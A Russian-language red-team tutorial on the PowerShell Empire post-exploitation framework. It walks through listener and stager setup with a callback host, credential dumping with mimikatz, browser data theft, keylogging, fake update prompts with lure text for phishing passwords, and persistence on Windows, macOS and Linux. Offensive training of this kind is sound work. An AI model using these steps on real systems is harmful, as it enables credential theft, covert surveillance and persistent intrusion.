Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.
Многие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если ты опытный пентестер или редтимер, я думаю, ты отметишь для себя что-то новое и полезное.
Если ты используешь Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду:
sudo apt install powershell-empire
Если на твоем компе другая система, нужно скачать файлы проекта и установить их вручную.
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
Собственно, все: фреймворк Empire установлен в твоей системе.
Перед тем как мы рассмотрим сам программный комплекс, давай разберемся со следующими понятиями:
Запустим Empire командой powershell-empire
. Ты увидишь такое окно.
Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a).
Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners
.
Сейчас у нас нет активных листенеров. Создать его можно командой uselistener
, но давай посмотрим, какие типы листенеров нам может предложить Empire.
uselistener <TAB>
Поясню, что здесь что:
dbx
— Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);http
— обычный HTTP/HTTPS-листенер;http_com
— HTTP/HTTPS-листенер, использующий объект IE COM;http_foreign
— HTTP/HTTPS-листенер для сторонней нагрузки Empire;http_hop
— HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);http_mapi
— HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;meterpreter
— HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;onedrive
— onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)redirector
— инструмент для перехода от одного агента к другому.С типами листенеров разобрались, а теперь давай посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP).
uselistener http
Получить справку по выбранному листенеру можно командой nfo
.
Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт.
set Name l1
set Host http://192.168.6.1
set Port 4321
И запустим листенер командой execute
.
Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.
Переходим ко второй стадии.
Давай по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager
.
Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки:
bash
— обычный Bash-скрипт;launcher
— так называемый one-liner-код на определенном скриптовом языке;macro
— макрос для офисных приложений;pyinstaller
— ELF-файл, собранный с помощью PyInstaller;war
— просто набор байтов для модернизации нагрузки;applescript
— файл AppleScript;application
— файл Application;ducky
— так называемый скрипт Rubber Ducky;dylib
— динамическая библиотека macOS;jar
— нагрузка в JAR-формате;pkg
— установщик PKG (должен быть скопирован в директорию /Applications
);safari_launcher
— HTML-нагрузка;shellcode
— обычный Windows-шелл;teensy
— Teensy-скрипт;backdoorLnkMacro
— файл .lnk
для загрузки и запуска приложения;bunny
— скрипт Bash bunny;csharp_exe
— приложение PowerShell/C#;dll
— нагрузка в виде DLL;hta
— HTA-нагрузка для IE;macroless_msword
— документ macroless;wmic
— XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire).Давай выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.
Как и в случае с листенером, посмотрим параметры командой info
.
Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давай укажем листенер и путь к итоговому файлу, после чего создадим stager.
set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute
Файл с нагрузкой создан по указанному пути.
Нам нужно выполнить bat-файл на целевом хосте. Ты увидишь сообщение о подключении.
Перейдем в главное меню и выполним команду agents
, чтобы увидеть все агенты.
Для удобства можно переименовать агент командой rename
и перейти в интерфейс управления агентом (команда interact
).
rename LVKP4HN3 al1
interact al1
Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.
К базовым опциям относятся те функции, которые реализованы в Empire без участия сторонних модулей. Так что пробежимся по тем, которые приходится часто применять:
sysinfo
— предоставляет информацию о системе на удаленном хосте;download/upload
— позволяет загрузить файлы на удаленный хост или с него (подобные команды реализованы уже, наверное, везде);sleep
— устанавливает интервал обмена сообщениями с агентом. Таким образом, если установить интервал в 60 секунд, то агент будет принимать от оператора команду и загружать ее в очередь, а затем раз в минуту очищать очередь и предоставлять информацию;steal_token
— модуль имперсонации токена доступа;shell [cmd]
— позволяет выполнить команду черед cmd.exe;ps
— выводит список процессов с указанием имени процесса, его PID, пользователя, в контексте которого работает процесс, и занимаемую процессом память;psinject
— внедряет агент в другой процесс;scriptimport
— позволяет загрузить PowerShell-скрипт в память;mimikatz
— простое быстрое выполнение sekurlsa::logonpasswords
;creds
— локальное хранилище учетных данных (паролей, хешей), предоставляет оперативную работу с ними. Хеши заполняются автоматически при использовании разных модулей, но также возможно их ручное добавление и удаление. К примеру, упомянутая команда mimikatz
собрала некоторые учетные данные. Давай взглянем на них.Это не все «быстрые команды» Empire, а, как упоминалось, те, которые мы используем постоянно.
Для подключения дополнительных модулей следует использовать команду usemodule
, а если тебе необходимо найти какой-то модуль, для этого есть команда searchmodule
.
Давай рассмотрим модули из данного раздела, которыми мы часто пользуемся. Так как почти всегда приходится вытаскивать пароли и данные из браузеров, тут на помощь приходят следующие инструменты:
Запустим модуль командой run
или execute
. При этом Empire сообщает, что использование данного модуля нарушает правила скрытности, и спрашивает, хотим ли мы продолжить.
В результате мы получаем все куки, историю запросов и сохраненные учетные данные.
Следующие интересные возможности — искать файлов с помощью модуля collection/file_finder
и получить дамп нужного процесса с помощью модуля collection/minidump
. А для отслеживания вводимой пользователем информации можно легко активировать кейлоггер — collection/keylogger
. Для примера откроем блокнот и напишем слово test
— это действие будет зафиксировано Empire.
С помощью collection/clipboard_monitor
мы отслеживаем, что попадает в буфер обмена.
Наконец, самые замечательные функции этого раздела связаны с фишингом. Когда нам необходимо получить пароль и все потенциальные точки входа не прошли проверку, можно «попросить» у пользователя его учетные данные! Сделать это помогают модули collection/prompt
или collection/toasted
. Я приведу пример использования toasted
: на экране юзера выводится уведомление (можно придумать какие угодно условия, но мы используем перезагрузку, так как никто не захочет прерывать работу с документами), на которое он реагирует. Независимо от его выбора появится окно авторизации, учетные данные из которого мы и получим.
usemodule collection/toasted
set ToastTitle "Ваш сеанс работы будет прекращен"
set ToastMessage "Cистема будет перезагружена через 5 минут. Хотите ли вы отложить перезагрузку?"
set Application "Служба обновлений Windows"
set CredBoxTitle "Вы уверены, что хотите перезагрузить ваш ПК?"
set CredBoxMessage "Для выполнения данного действия требуется аутентификация"
run
При этом у данных модулей есть параметр VerifyCreds
, установив который в True
мы обяжем Empire проверить эти учетные данные на подлинность, перед тем как показать их нам. Если пользователь ввел некорректные учетные данные или просто опечатался, Empire запросит их снова.
Об этом разделе рассказывать особо нечего. Он представляет собой полностью реализованное на PowerShell и вставленное в Empire программное обеспечение mimikatz.
Использовать этот инструмент проще простого, поэтому переходим к следующему разделу.
В этом разделе есть несколько крутых фишек. Первая из них — это легкое включение и отключение RDP для пользователя. Для этого применяются модули management/enable_rdp
и management/disable_rdp
. Да, Empire снова предупреждает, что это палевно!
В Empire также встроен инструмент EmailRaider, предназначенный для просмотра и отправки фишинговых писем с помощью собственного клиента Outlook от имени пользователя. На самом деле из большого списка довольно мощных модулей management/mailraider/
мы пользуемся только одним, который отвечает за отправку писем, — management/mailraider/send_mail
.
С использованием этого инструмента мы заполняем текст сообщения и делаем рассылку. Как правило, получив письмо от известного отправителя или другого сотрудника компании, жертва охотнее запустит файл (пусть и подозрительный) или перейдет по ссылкам.
И последний модуль, который используется для наблюдения, — management/vnc
. Запустим у себя VNC-прослушиватель (я использую Remmina) и выполним обратное подключение.
Раздел с повышением привилегий полезен только для ограниченного круга быстрых проверок, а также из-за модуля privesc/getsystem
, который позволяет перейти в контекст SYSTEM. В Empire встроены два известных скрипта: privesc/sherlock
, который проверит наличие в атакуемой системе CVE-уязвимостей, и модуль privesc/powerup/allchecks
— он поищет пути повышения привилегий (к примеру, подменить файл службы).
Это очень полезный раздел, с которого обычно и стоит начинать эксплуатацию. Отметим два важных модуля — situational_awareness/host/antivirusproduct
и situational_awareness/host/applockerstatus
. Первый предоставляет информацию об используемых на атакуемом хосте антивирусах, второй дает сведения об AppLocker.
Благодаря модулю situational_awareness/host/computerdetails
мы можем посмотреть события 4648
(RDP) и 4624
(входы в систему) из журнала событий, а также журналы AppLocker
, запуск PSScripts и сохраненные сеансы RDP.
Очень часто приходится сканировать SPN в сети, и в этом очень помогает модуль situational_awareness/network/get_spn
. Похожим образом модули situational_awareness/network/powerview/get_domain_trust
и situational_awareness/network/powerview/map_domain_trust
облегчают задачу поиска трастов, так как позволяют рекурсивно перечислять все достижимые доверительные отношения домена с текущей позиции в сети. Но круче всего (по моему мнению) в этом разделе модуль situational_awareness/network/bloodhound3
.
С помощью этого средства мы загружаем полученные от BloodHound файлы и можем их анализировать на своей локальной машине.
Первым делом упомяну о некоторых методах персистентности, а именно:
persistence/misc/add_sid_history
;persistence/misc/memssp
;persistence/misc/skeleton_key
.Но перечисленные методы — это пользовательская персистентность. Она нам понадобится, когда пользователь выключит или перезагрузит компьютер, чтобы мы смогли войти и снова запустить сеанс Empire. Но чтобы избежать подобного неудобства, в Empire есть и свои модули персистентности сеанса. Мы используем один из двух модулей: persistence/elevated/registry
или persistence/elevated/wmi
, разница только в том, что первый основан на закреплении через реестр, а второй через WMI.
Empire сообщает, что мы успешно закрепились. Для примера посмотрим список агентов и перезагрузим систему. После включения ПК у нас появился новый агент!
С Windows все, а теперь давай посмотрим, что мы можем получить от Empire при эксплуатации других систем.
Базовые модули агента macOS схожи с базовыми модулями агента Windows, но есть отличие: вместо PowerShell используется Python. Таким образом, вместо модуля scriptimport
присутствует модуль pythonscript
. Также имеется модуль loadpymodule
для загрузки целых программ. Загружаемый файл должен представлять собой ZIP-архив, содержащий скрипты, написанные на Python, или пакеты. Обязательно должен присутствовать файл __init__.py
.
Арсенал самих модулей для macOS куда скромнее, если сравнивать с Windows. Так, модуль collection/osx/browser_dump
способен извлечь историю запросов браузера, но не покажет куки и пароли. А модули для отслеживания ввода пользователя вовсе работают иначе: кейлоггер collection/osx/keylogger
сохраняет историю на удаленной машине в файл, который нам приходится скачивать, а для того, чтобы мониторить буфер обмена с помощью модуля collection/osx/clipboard
, нужно указать ему время работы в секундах.
Но вот что работает безупречно — так это фишинг, а именно модуль collection/osx/prompt
.
Среди прочего Empire позволяет запустить App Store и попросить пользователя указать пароль, который мы незамедлительно получим.
Несмотря на то что я уже настраивал кейлоггер, как только был введен пароль, он отобразился в окне Empire. Как правило, схема эксплуатации Empire на Mac очень проста и успешно выполнима в 80% случаев:
collection/osx/prompt
-> получение пароля (как правило, sudo).privesc/multi/sudo_spawn
для получения агента в контексте sudo.persistence/osx/loginhook
.Сложилось мнение, что на маках в основном обрабатывают информацию и готовят отчеты. Поэтому единственное, для чего его стоит захватывать, — это наблюдение за пользователем. Вся описанная выше атака занимает по времени не больше 10–15 минут. Даже если пользователь не хочет вводить пароль, на третий-четвертый раз он смирится и все равно его наберет.
Имея учетные данные sudo, можно наблюдать за действиями пользователя с помощью модуля management/osx/screen_sharing
, который обеспечит тебе VNC. В целом повторюсь, захват макa — это легко и быстро, и, как правило, основным инструментом атакующего служит фишинг.
Работа с базовыми модулями Empire в Linux не отличается от работы на маке. Точно так же, как и с маком, работает кейлоггер collection/linux/keylogger
. Но в Linux-версии присутствует хороший модуль privesc/linux/linux_priv_checker
, который собирает со всей системы информацию (и помогает искать вектор повышения привилегий). Среди собираемых данных нужно перечислить следующие:
Для перехода в контекст суперпользователя нам необходимо знать его пароль. Для этого можно задействовать тот же модуль, что и для макa, — privesc/multi/sudo_spawn
. В качестве параметра нужно задать листенер и пароль sudo.
usemodule privesc/multi/sudo_spawn
set Password user
set Listener l1
run
В результате в списке агентов Empire появляется новый агент, работающий от имени root.
После получения прав суперпользователя мы применяем два модуля Empire. Первый, collection/linux/mimipenguin
, позволяет собрать служебные пароли из разных мест. Но он не идеален, поэтому для работы в этой области обычно используются другие средства. Второй модуль — это persistence/multi/crontab
, помогающий закрепиться в системе за счет использования crontab.
Этому модулю требуется указать имя файла, который будет выполняться в определенные промежутки времени. Самый простой способ — загружать тот же stager Empire.
Напоследок стоит упомянуть, что для Empire существуют и автоматические сценарии, позволяющие собирать информацию в системе или распространяться по сети. Один из них — DeathStar — автоматизирует частые сценарии атак на Windows.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…